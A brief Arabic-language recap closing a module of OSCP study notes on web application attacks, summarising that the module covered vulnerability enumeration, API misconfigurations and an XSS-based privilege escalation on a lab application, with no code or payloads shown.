في الموديول ده، ركّزنا على تحديد وعمل enumeration لثغرات تطبيقات الويب الشائعة. استغللنا كمان عدة ثغرات شائعة، بما فيها إعدادات API خاطئة وCross-Site Scripting.
ختمنا الموديول بالاستفادة من ثغرة XSS للحصول على صلاحيات إدارية على تطبيق ويب عرضة للخطر عبر طلب HTTP مصمَّم خصيصًا.
نهاية نوتس الموديول السادس — OSCP: Introduction to Web Application Attacks